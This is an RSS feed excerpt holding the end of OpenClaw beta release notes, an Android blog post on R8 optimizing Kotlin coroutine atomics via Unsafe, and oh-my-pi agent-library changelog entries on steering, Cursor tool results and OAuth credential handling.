<li><strong>Compaction and response delivery:</strong> account for CJK text in compaction estimates and treat <code>no_compactable_entries</code> as a benign skip. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985174407" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114386" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114386/hovercard" href="https://github.com/openclaw/openclaw/pull/114386">#114386</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4858439507" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103930" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103930/hovercard" href="https://github.com/openclaw/openclaw/issues/103930">#103930</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985987865" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114449" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114449/hovercard" href="https://github.com/openclaw/openclaw/pull/114449">#114449</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985171545" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114385" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/114385/hovercard" href="https://github.com/openclaw/openclaw/issues/114385">#114385</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qingminglong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qingminglong">@qingminglong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/revision-co-ltd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/revision-co-ltd">@revision-co-ltd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loulanyue/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loulanyue">@loulanyue</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</li>
<li><strong>Platform and transport reliability:</strong> respect debug-proxy response backpressure, cancel early-woken meeting audio timers, preserve Windows PATH delimiters in node status, and prevent duplicate user/system systemd Gateway ownership with actionable recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979793728" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114076" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114076/hovercard" href="https://github.com/openclaw/openclaw/pull/114076">#114076</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868708038" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/105701" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/105701/hovercard" href="https://github.com/openclaw/openclaw/issues/105701">#105701</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987116833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114526" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114526/hovercard" href="https://github.com/openclaw/openclaw/pull/114526">#114526</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4986793963" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114505/hovercard" href="https://github.com/openclaw/openclaw/pull/114505">#114505</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015142610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116162/hovercard" href="https://github.com/openclaw/openclaw/pull/116162">#116162</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5014576624" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116129" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/116129/hovercard" href="https://github.com/openclaw/openclaw/issues/116129">#116129</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qingminglong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qingminglong">@qingminglong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li><strong>Channel edge cases:</strong> settle Feishu outbound delivery, surface Signal recipient failures, and support reverse-proxy paths in Matrix homeserver URLs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963073325" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113152" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113152/hovercard" href="https://github.com/openclaw/openclaw/pull/113152">#113152</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933085420" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111960" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111960/hovercard" href="https://github.com/openclaw/openclaw/pull/111960">#111960</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933080407" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111959" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111959/hovercard" href="https://github.com/openclaw/openclaw/issues/111959">#111959</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671633830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/93516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/93516/hovercard" href="https://github.com/openclaw/openclaw/pull/93516">#93516</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4846985487" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/102885" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/102885/hovercard" href="https://github.com/openclaw/openclaw/issues/102885">#102885</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ooiuuii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ooiuuii">@ooiuuii</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Papilionidae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Papilionidae">@Papilionidae</a>.</li>
</ul>
<h3>Complete contribution record</h3>
<p>The full contribution record is available in the tag-pinned <a href="https://github.com/openclaw/openclaw/blob/v2026.7.2-beta.7/CHANGELOG.md#complete-contribution-record">CHANGELOG.md</a>.</p>
<h3>Release verification</h3>
<ul>
<li>npm package: <a href="https://www.npmjs.com/package/openclaw/v/2026.7.2-beta.7" rel="nofollow">https://www.npmjs.com/package/openclaw/v/2026.7.2-beta.7</a></li>
<li>registry tarball: <a href="https://registry.npmjs.org/openclaw/-/openclaw-2026.7.2-beta.7.tgz" rel="nofollow">https://registry.npmjs.org/openclaw/-/openclaw-2026.7.2-beta.7.tgz</a></li>
<li>integrity: <code>sha512-raD4Z96RcZ5XY0cdtqsRRQVhPv8JOHgA4vK/0D2/BsF9czI3d5w9O1xhYGKGsNKXp+3A0HipL6oeV0zKRK/lAA==</code></li>
<li>release SHA: <code>dabe1915362e20c25704af91612a32a8f4c96e83</code></li>
<li>full release CI report: <a href="https://github.com/openclaw/releases/blob/main/evidence/2026.7.2-beta.7/release-evidence.md">https://github.com/openclaw/releases/blob/main/evidence/2026.7.2-beta.7/release-evidence.md</a></li>
<li>release publish: <a href="https://github.com/openclaw/openclaw/actions/runs/30738213764">https://github.com/openclaw/openclaw/actions/runs/30738213764</a></li>
<li>npm preflight: <a href="https://github.com/openclaw/openclaw/actions/runs/30714148718">https://github.com/openclaw/openclaw/actions/runs/30714148718</a></li>
<li>full release validation: <a href="https://github.com/openclaw/openclaw/actions/runs/30714067986">https://github.com/openclaw/openclaw/actions/runs/30714067986</a></li>
<li>plugin npm publish: <a href="https://github.com/openclaw/openclaw/actions/runs/30738340512">https://github.com/openclaw/openclaw/actions/runs/30738340512</a></li>
<li>plugin ClawHub publish: no normal OIDC candidates</li>
<li>plugin ClawHub bootstrap: dispatched separately, not awaited by this proof: <a href="https://github.com/openclaw/openclaw/actions/runs/30738341581">https://github.com/openclaw/openclaw/actions/runs/30738341581</a></li>
<li>npm Telegram beta E2E: not supplied</li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How R8 made Kotlin Coroutines on Android 2x faster]]></title>
<description><![CDATA[Posted by Andrei Shikov, Senior Software Engineer, Android Toolkit and Jonathan Starup, Software Engineer, R8 Team

Starting from AGP 9.2.0, R8 optimizes most Atomic*FieldUpdater calls into Unsafe variants that perform 2x to 4x better on common operations. This has a particularly large impact on ...]]></description>
<link>https://tsecurity.de/de/3698550/android-tipps/how-r8-made-kotlin-coroutines-on-android-2x-faster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698550/android-tipps/how-r8-made-kotlin-coroutines-on-android-2x-faster/</guid>
<pubDate>Mon, 03 Aug 2026 00:10:44 +0200</pubDate>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHiv_LIAZ9QEJ4RWJSvZphTWmkDaVoseyWsbSPkfJDKd0DXjq53xtLOMiVtTEzlW6dAwXUlcucsBDKxjp9MjET4MB1b4ymZkd-b7jhm-PczdvyFqQCpZ39MXVjaVrWg4Y6WD4KLYOL3PbmYBDumMULpZQDX0052163RVUWZnfUAUPFtfwZMVflqjT9AnQ/s2469/0707%20Faster%20Kotlin%20coroutines%20on%20Android%20with%20R8_Meta.png"><i>Posted by Andrei Shikov, Senior Software Engineer, Android Toolkit and Jonathan Starup, Software Engineer, R8 Team</i><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYQ0hvP8noS5d46xLL2ca89fUyDM7ONaSVUIn8QhZxuB8GKNdGi_IIQNt3c8dAT67nO1TMfcPrmXMXfBjggYafmHV6cYH86vFyoEnIEgaFJ2uOYQIH4l9zA4GlQvduoJEVUNzIUX1qJmaxY3qRGn9TKwuRD_HR87trMxuaU0x29FXcx7Pr-DdP0ZhxZhQ/s8582/0707%20Faster%20Kotlin%20coroutines%20on%20Android%20with%20R8_Blog.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYQ0hvP8noS5d46xLL2ca89fUyDM7ONaSVUIn8QhZxuB8GKNdGi_IIQNt3c8dAT67nO1TMfcPrmXMXfBjggYafmHV6cYH86vFyoEnIEgaFJ2uOYQIH4l9zA4GlQvduoJEVUNzIUX1qJmaxY3qRGn9TKwuRD_HR87trMxuaU0x29FXcx7Pr-DdP0ZhxZhQ/s1600/0707%20Faster%20Kotlin%20coroutines%20on%20Android%20with%20R8_Blog.png"></a></div><br><i><br></i><p><br></p><br><p></p><p></p></div>

<p>Starting from AGP 9.2.0, R8 optimizes most <code>Atomic*FieldUpdater</code> calls into <code>Unsafe</code> variants that perform <a href="https://github.com/Kotlin/kotlinx.coroutines/issues/3950">2x to 4x better on common operations</a>. This has a particularly large impact on the kotlinx.atomicfu library that implements atomics for <code>kotlinx.coroutines</code>, making launching and cancelling coroutines up to 2x faster. In order to get the benefits, update your AGP to 9.2.0 or above.</p>

<p>With the majority of Android apps adopting Kotlin as their main language of choice, <code><a href="https://github.com/Kotlin/kotlinx.coroutines" target="_blank">kotlinx.coroutines</a></code> has become a de-facto standard for asynchronous programming. The library offers a well-designed and structured way of managing concurrent flows that is native to Kotlin. Jetpack Compose was no exception, adopting coroutines for managing pointer events, animations and other interactions. At the time of writing, most concurrent APIs in Compose call <code>suspend</code> functions under the hood and are launching and/or cancelling coroutines to handle updates.</p>

<p>As the Compose team started to investigate performance, coroutines were discovered to be a bottleneck for many operations that happen outside of composition. As an example, 80% of the time spent on creating and updating <code>Modifier.clickable</code> was consumed by launching and cancelling internal coroutines that handled <code>InteractionSource</code> updates. Based on those observations, much of early performance work was focused on removing coroutines from the default path and delaying initialization until necessary.</p>

<h2>The cost of a coroutine</h2>

<p>The easiest way to analyze a function's internal behavior on Android is to capture an Android Runtime (ART) method trace. An ART method trace is a tool that records the execution flow of an app, showing exactly which methods are called, their order, and how much time is spent in each, allowing developers to identify performance bottlenecks. For an empty <code>LaunchedEffect { }</code> call, it would look something like this: </p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtNkPVicdJLFrYlTBtffjL73QsWm8LztGzRCLSVrzpHy-FiyMEcOIJPkDYAjUKI0ZAgQDgATjjZXIcmjZlf7iusLjC9E5F6GaIPMvZbTh1hP4N7OsnUPgkz5atS5PcsrPh5ulpSAqJ9K8T6eviqTwy4NB5zMu8HAnBZgK2PaZwX3ajJFXSRuoH35T4TZk/s7680/pic01_enhanced.png"><img border="0" data-original-height="3432" data-original-width="7680" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtNkPVicdJLFrYlTBtffjL73QsWm8LztGzRCLSVrzpHy-FiyMEcOIJPkDYAjUKI0ZAgQDgATjjZXIcmjZlf7iusLjC9E5F6GaIPMvZbTh1hP4N7OsnUPgkz5atS5PcsrPh5ulpSAqJ9K8T6eviqTwy4NB5zMu8HAnBZgK2PaZwX3ajJFXSRuoH35T4TZk/s1600/pic01_enhanced.png"></a></div><p><i>LaunchedEffect method trace visualized in the Perfetto UI</i></p>

<p>The method trace above can be separated into three parts:<br></p><ul><li>
Initializing a new coroutine</li><li>
Starting coroutine</li><li>
Completing coroutine (because it exits immediately)</li></ul><p></p>

<p>Cancelling <code>LaunchedEffect</code> is similar to normal completion, except it also creates a <code>CancellationException</code>.</p>

<p>From the profile above, one thing that is immediately suspicious is frequent calls into <code>java.util.concurrent.AtomicReferenceFieldUpdater</code> (purple or green boxes with j… labels). While each call is relatively fast, the frequency is concerning; any non-negligible overhead that is spread out across multiple invocations might add up to a noticeable regression. Zooming in on a call reveals that most of the time is spent on... reflection checks?</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirqmZk8TeN6KsUrqnCFT_AigbT3IdjfMDxabgQEM7izThyphenhyphenubMyvsFzkd3zR6SSxfvovJb5QeaoeIYPG9pFoNCegLDizYwfTOnKFv9sWfp1whDlFB9gUf3VMS9qU2-smyKEHrmsrPlN4htYxmLQ3yGfgZlWzjpwi6nTXbTcghvutTmJQjSo2s9c8xG-LOM/s13034/pic02-enhanced.png"><img border="0" data-original-height="4102" data-original-width="13034" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirqmZk8TeN6KsUrqnCFT_AigbT3IdjfMDxabgQEM7izThyphenhyphenubMyvsFzkd3zR6SSxfvovJb5QeaoeIYPG9pFoNCegLDizYwfTOnKFv9sWfp1whDlFB9gUf3VMS9qU2-smyKEHrmsrPlN4htYxmLQ3yGfgZlWzjpwi6nTXbTcghvutTmJQjSo2s9c8xG-LOM/s1600/pic02-enhanced.png"></a></div><br><p><br></p>

<p><i>An up-close look at the method trace of AtomicReferenceFieldUpdater.get during LaunchedEffect initialization</i></p>

<p>Coroutines implement a lock-free tree structure for parent-child relationships that makes structured concurrency possible. Turns out, the <code>kotlinx.atomicfu</code> library implements lock-free atomic operations using a well-known JVM primitive, <code><a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/atomic/AtomicReferenceFieldUpdater.html" target="_blank">AtomicReferenceFieldUpdater</a></code>. The updater uses a class reference and a field name to perform atomic operations at runtime, and it has to run several reflective safety checks to make sure the field exists and is accessible. Each operation in coroutines (starting, suspending, cancelling, completing) calls at least one atomic operation, so if it is slow, coroutines will not perform well.</p>

<h2>Investigating AtomicReferenceFieldUpdater</h2>

<p>But let's not get ahead of ourselves. <code>AtomicReferenceFieldUpdater</code> is actually well-optimized on JVM <a href="https://shipilev.net/blog/2015/faster-atomic-fu/">for over 10 years now</a>, and method traces might capture overhead that is completely removed by a VM level optimization: just-in-time (JIT) or ahead-of-time (AOT) compilations. To verify performance, let's write a few benchmarks to measure the difference between atomic references from <code>kotlinx.atomicfu</code> and <code>java.util.concurrent.atomic</code>.</p>

<pre><code>@RunWith(AndroidJUnit4::class)
class AtomicReferenceBenchmark {
    @get:Rule
    val benchmarkRule = BenchmarkRule()
    
    private val atomicReference = java.util.concurrent.atomic.AtomicReference(false)
    private val atomicRef = kotlinx.atomicfu.atomic&lt;Boolean&gt;(false)
    
    @Test
    fun atomicReference_compareAndSet() {
        benchmarkRule.measureRepeated { 
            atomicReference.compareAndSet(true, false)
            atomicReference.compareAndSet(false, true)
        }
    }

     @Test
    fun atomicRef_compareAndSet() {
        benchmarkRule.measureRepeated {
            atomicRef.compareAndSet(true, false)
            atomicRef.compareAndSet(false, true)
        }
    }

    /* measuring other methods from the method traces above */
}</code></pre>

<p>Running this benchmark on a Pixel 5 (while ensuring <code>AtomicReferenceFieldUpdater#compareAndSet</code> is JIT compiled during warmup), yields the following results on Pixel 5 (API 33):<br>
</p><pre><code> 50.7 ns  atomicReference_compareAndSet
135   ns  atomicRef_compareAndSet
</code></pre>

<p>The measurements confirm the gap, with <code>kotlinx.atomicfu</code> version clearly being approximately 2.7x slower. This confirms that ART does not perform any hidden optimization and reflective access checks add real overhead during runtime.</p>

<p>Looking back at the original method trace, the only meaningful work performed by the <code>AtomicReferenceFieldUpdater</code> is the internal call into <code>Unsafe.getObjectVolatile</code> that actually executes the underlying atomic operation. In most cases, the updater initializer is static, and can be proved to be always correct based on the structure of the surrounding class. Thus, one could statically analyze most of the <code>AtomicReferenceFieldUpdater</code> usages and replace them with an internal <code>Unsafe</code> variant during compilation. It also just happens that Android build toolchain has its very own optimizing compiler that can do exactly that.</p>

<h2>Optimization with R8</h2>

<p>The <code>Atomic*FieldUpdater</code> classes support subtle, dynamic and reflection-based use,  but are often used in statically obvious patterns. This both explains the slow baseline performance and the want for optimization. R8 is a full-program optimizing compiler and is well-suited to see through the simpler patterns to skim the overhead of the reflective safety checks. R8 receives JVM bytecode after the Java or the Kotlin compiler, but to ease readability these examples are presented in Java syntax. This is why there are no type arguments for <code>AtomicReferenceFieldUpdater</code>.</p>

<pre><code>class Example {
    volatile String data = "";
    static final AtomicReferenceFieldUpdater updater =
        AtomicReferenceFieldUpdater.newUpdater(Example.class, String.class, "data");

    void example() {
        // ...
        updater.compareAndSet(this, "", "new");
        // ...
    }
}</code></pre>

<p>The base example creates a static final updater which accesses a volatile field with simple constant arguments for the holder, the type, and the name of the field. The reflection used is totally transparent. It is clear to see this updater references a valid field and that the site of the updater creation has valid access to the field.</p>

<p>In its essence, <code>Atomic*FieldUpdater</code> is a wrapper around a field offset and calls to <code>Unsafe</code>. The best case scenario for the optimization is to replace the updater field with an offset field and replace the updater calls with calls to <code>Unsafe</code>.</p>

<h3>Optimizing Atomic*FieldUpdater</h3>

<p>The optimization is implemented in three parts: Instrumentation, Replacement, and Clean-up.</p>

<h2>Instrumentation</h2>

<p>The first step is to introduce offset fields alongside the updater field in order to facilitate direct access via the <code>Unsafe</code> call.</p>

<pre><code>static final long updater$offset =
    SyntheticUnsafe.UNSAFE.objectFieldOffset(Example.class.getDeclaredField("data"))</code></pre>

<p>The field is accessed via reflection, and <code>Unsafe</code> is used to extract the field offset on the class. This code represents the internals of <code>Atomic*FieldUpdater</code> if you disregard reflection validation. Instead, the holder type of the updater and the field type of the volatile field are tracked statically in the compiler.</p>

<p>Note that the original field and its initialization are left as-is. The optimization process optimistically facilitates and optimizes uses and then later cleans up. This is a simple approach to the implementation but also allows partial optimization of updater fields, where some uses are left as they were while others are optimized.</p>

<h2>Replacement</h2>

<p>At this point in the compiler, after a suitable concurrency join point, we have a list of instrumented updater fields. This means that we can optimize each call site individually based on a few conditions. Consider an example call:</p>

<pre><code>updater.compareAndSet(holder, expectedValue, newValue);</code></pre>

<p>The conditions that <code>Atomic*FieldUpdater</code> requires are these:<br></p><ul><li>
  Does <code>updater</code> come from an instrumented field? That is, can static analysis track the value of the object back to a field read of an instrumented updater?</li><li>
  Is <code>holder</code> the same class or a subclass of the originally defined holder type?</li><li>
  Is <code>newValue</code> the same class or a subclass of the originally defined field type?</li></ul>
  If all conditions are met, then the call is replaced by a call to <code>Unsafe</code> without any of the reflection checks.<p></p>

<pre><code>SyntheticUnsafe.UNSAFE.compareAndSwapObject(holder, Example.updater$offset, expectedValue, newValue)</code></pre>

<p>This new call is faster and simpler but it differs from the original call in regards to its handling of null values in <code>updater</code> and <code>holder</code>. Unless statically ruled out, null-checks are inserted for both.</p>

<h2>Clean-up</h2>

<p>At this point, the holding class has the original updater field and the new offset field along with call sites that might use either one of the two. If  none of the call sites were optimized, then the offset field should be removed and if all of the call sites were optimized, then the updater field should be removed. In both cases the initializing call should also be deleted. The deletion of unused fields and removal of dead code is already done in the compiler, but removing the initializing code here requires a few more tricks.</p>

<p>Both the call to <code>newUpdater</code> and <code>getDeclaredField</code> might have side effects as they can throw exceptions (and their implementation is also unknown since it depends on the API version). This means that by generic optimization, they cannot safely be removed. So this clean-up required explicit consideration of the instrumented fields, since those are statically known to be free of exceptions.</p>

<p>In the end, the simple updater example shown above looks like this after optimization:</p>

<pre><code>class Example {
    volatile String data = "";
    static final long updater$offset =
        SyntheticUnsafe.UNSAFE.objectFieldOffset(Example.class.getDeclaredField("data"))

    void example() {
        // ...
        SyntheticUnsafe.UNSAFE.compareAndSwapObject(this, Example.updater$offset, "", "new")
        // ...
    }
}</code></pre>

<h3>Results</h3>

<p>After these optimizations, <code>kotlinx.atomicfu</code> and most explicit uses of <code>AtomicInt/Long/ReferenceFieldUpdater</code> now match <code>AtomicReference</code> performance with R8 applied. In fact, it is even faster in some benchmarks; <code>kotlinx.atomicfu</code> has a compiler plugin that can inline <code>atomic</code> instances into fields, reducing allocations required to create an atomically updated field.</p>

<p>Jetpack Compose was the main beneficiary of this work. Compose runtime has a number of microbenchmarks that track coroutine performance very closely to catch performance regressions early. When the benchmarks were updated to a new version of R8, we noticed a 2x improvement when launching and cancelling coroutines in <code>LaunchedEffect</code>!</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5VYYOudfoQzHlELVMmmiLkRxUd80bqzqB8ykvBedO0VpCROTeK63gXhyphenhyphenYZWed99FWOFl58qqj34aQP9GLPJGW_Ls2w5ez0o-TIOqdt9hlIn5NFmpT7N83sKuhnCdbazdVSFcz0h2e4Zu12GCaW_ss9t-7v7t9J26WgqKpIWUyCkKz4X8L95H2fYjA6i0/s9600/pic03_enhanced.png"><img border="0" data-original-height="5580" data-original-width="9600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5VYYOudfoQzHlELVMmmiLkRxUd80bqzqB8ykvBedO0VpCROTeK63gXhyphenhyphenYZWed99FWOFl58qqj34aQP9GLPJGW_Ls2w5ez0o-TIOqdt9hlIn5NFmpT7N83sKuhnCdbazdVSFcz0h2e4Zu12GCaW_ss9t-7v7t9J26WgqKpIWUyCkKz4X8L95H2fYjA6i0/s1600/pic03_enhanced.png"></a></div><br><p><br></p>

<div><i>Benchmark graph illustrating the time taken when starting and cancelling coroutines in LaunchedEffect (lower is better). The change in the graph corresponds to an R8 update, showcasing 2x improvement.</i></div>

<p>Aside from that, the ART team is implementing these optimizations natively at the VM level. If your app is targeting API 37 and is running on a recent version of Android, it is possible that your device is already optimizing coroutines in a similar way. The coroutine benchmarks above observed ~15% improvement in performance after JIT updates in the recent versions of ART.</p>

<p>Your app will receive this optimization by default when upgrading to AGP 9.2.0 or by using R8 9.2.0 directly. For more information, see <a href="https://r8.googlesource.com/r8/+/refs/heads/main/README.md#replacing-r8-in-agp" target="_blank">D8 dexer and R8 shrinker</a>.</p><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: v17.1.4]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Changed

Steering is now woken by an event instead of polled on a fixed interval while a tool batch runs. AgentLoopConfig.waitForSteeringMessages resolves when a steer is enqueued, so an interruption is observed as soon as it arrives rather than at the next tick, and idle ...]]></description>
<link>https://tsecurity.de/de/3698421/tools/github-v1714/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698421/tools/github-v1714/</guid>
<pubDate>Mon, 03 Aug 2026 00:10:19 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>@oh-my-pi/pi-agent-core</h2>
<h3>Changed</h3>
<ul>
<li>Steering is now woken by an event instead of polled on a fixed interval while a tool batch runs. <code>AgentLoopConfig.waitForSteeringMessages</code> resolves when a steer is enqueued, so an interruption is observed as soon as it arrives rather than at the next tick, and idle batches stop burning wakeups. The interval timer remains for the IRC interrupt queue, which has no wake callback, and checks only IRC while the event watcher owns steering. Waits are raced against local abort, so a callback that does not observe its signal cannot hang batch teardown.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed a Cursor tool result being lost when a custom <code>cursorOnToolResult</code> transformer was still pending as the turn closed. The provider dispatches decoded messages without awaiting them, so a <code>message_end</code> from the same chunk could drain the buffer before the transformer resolved, dropping the result and leaving its <code>toolCall</code> block to be stripped as dangling on replay. The entry is now reserved synchronously and patched in place once the transformer resolves, preserving buffer order.</li>
<li>Fixed an async <code>cursorOnToolResult</code> transformer's rewrite being silently discarded when it resolved after the buffer drain. The reservation kept the call from dangling but the late patch mutated a detached entry, so the already-persisted message kept the pre-transform payload. The drain now awaits any transformer still in flight before persisting, matching the awaited exec-channel paths. A rejecting transformer is swallowed and the reserved payload stands in, so a failing hook cannot take the turn down or cost the result.</li>
<li>Fixed Cursor tool results being dropped for hosts that pass neither <code>cursorExecHandlers</code> nor <code>cursorOnToolResult</code>. Both are optional, but the Cursor provider resolves native todo calls server-side and synthesizes exec blocks regardless, marking both as resolved so no placeholder result is emitted for them. The result buffer callback was only installed when one of the options was present, so a bare SDK host discarded the provider's paired result and every rebuilt transcript stripped the interaction. It is now installed unconditionally.</li>
<li>Fixed an async <code>cursorOnToolResult</code> rewrite being lost when the provider errored mid-transform. The normal drain waits for a pending transformer, but the error path snapshotted the buffer without that await, so a transform still in flight patched an entry the catch path had already detached and the pre-transform payload was persisted. A provider error is exactly when a transform is most likely to be mid-flight.</li>
<li>Reduced oversized OpenAI native compaction requests by replacing only trailing tool-output bodies that exceed the model context window, while preserving calls, assistant history, and reasoning.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>MiniMax Token Plan accounts now report quota in <code>omp usage</code>. <code>GET /v1/token_plan/remains</code> returns one bucket per plan quota, each carrying a rolling interval window and a weekly window, so <code>minimax-code</code> surfaces real remaining percentages instead of an empty report. A model the plan does not include comes back looking like an untouched quota; those buckets are dropped from the report and named in its metadata. The mainland id <code>minimax-code-cn</code> is untouched.</li>
<li>OAuth logins now stamp <code>authorizedAt</code> (epoch ms of the interactive login) on the stored credential, and every refresh-persist path preserves it. Anthropic expires the whole OAuth grant family ~30 days after authorization regardless of refresh-token rotation (observed as <code>invalid_grant: "Refresh token expired"</code> on the latest rotated token, exactly 30 days after login, across four production accounts), so the login anchor is what makes re-login deadlines computable. Exported <code>ANTHROPIC_OAUTH_GRANT_TTL_MS</code> alongside the anthropic OAuth flow.</li>
<li>Added <code>GET /v1/credentials/disabled</code> to the auth broker and <code>AuthBrokerClient.listDisabledCredentials</code>: disabled-credential tombstones (<code>DisabledCredentialSummary</code> — identity, verbatim disable cause, disable timestamp; never token material) so auto-disabled accounts stay visible to clients instead of silently vanishing from the snapshot. <code>AuthStorage.listDisabledCredentials</code> serves the same data locally from SQLite; clients of brokers predating the endpoint get an empty list (404 mapped, no error).</li>
<li>Added <code>AuthStorage.revalidateCredentials()</code> and the optional <code>AuthCredentialStore.refreshSnapshot</code> hook: remote broker stores re-fetch <code>GET /v1/snapshot</code> on demand so callers pairing live per-credential data with stored identities (<code>omp usage</code>) never render against the up-to-an-hour-stale disk-cached snapshot; local SQLite stores are always current and only reload.</li>
<li>Added an optional per-request <code>codexSseMaxAttempts</code> stream option to bound Codex SSE pre-response retries while preserving the six-attempt default when omitted.</li>
<li>Fixed Cursor requests failing with <code>Connect error internal: Unable to parse image: ...</code> whenever the session history contained an image: <code>rootPromptMessagesJson</code> image parts now embed a <code>data:&lt;mime&gt;;base64,</code> URI instead of bare base64, matching the convention used by the OpenAI-completions provider (<a href="https://github.com/can1357/oh-my-pi/pull/6564" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6564/hovercard">#6564</a>).</li>
</ul>
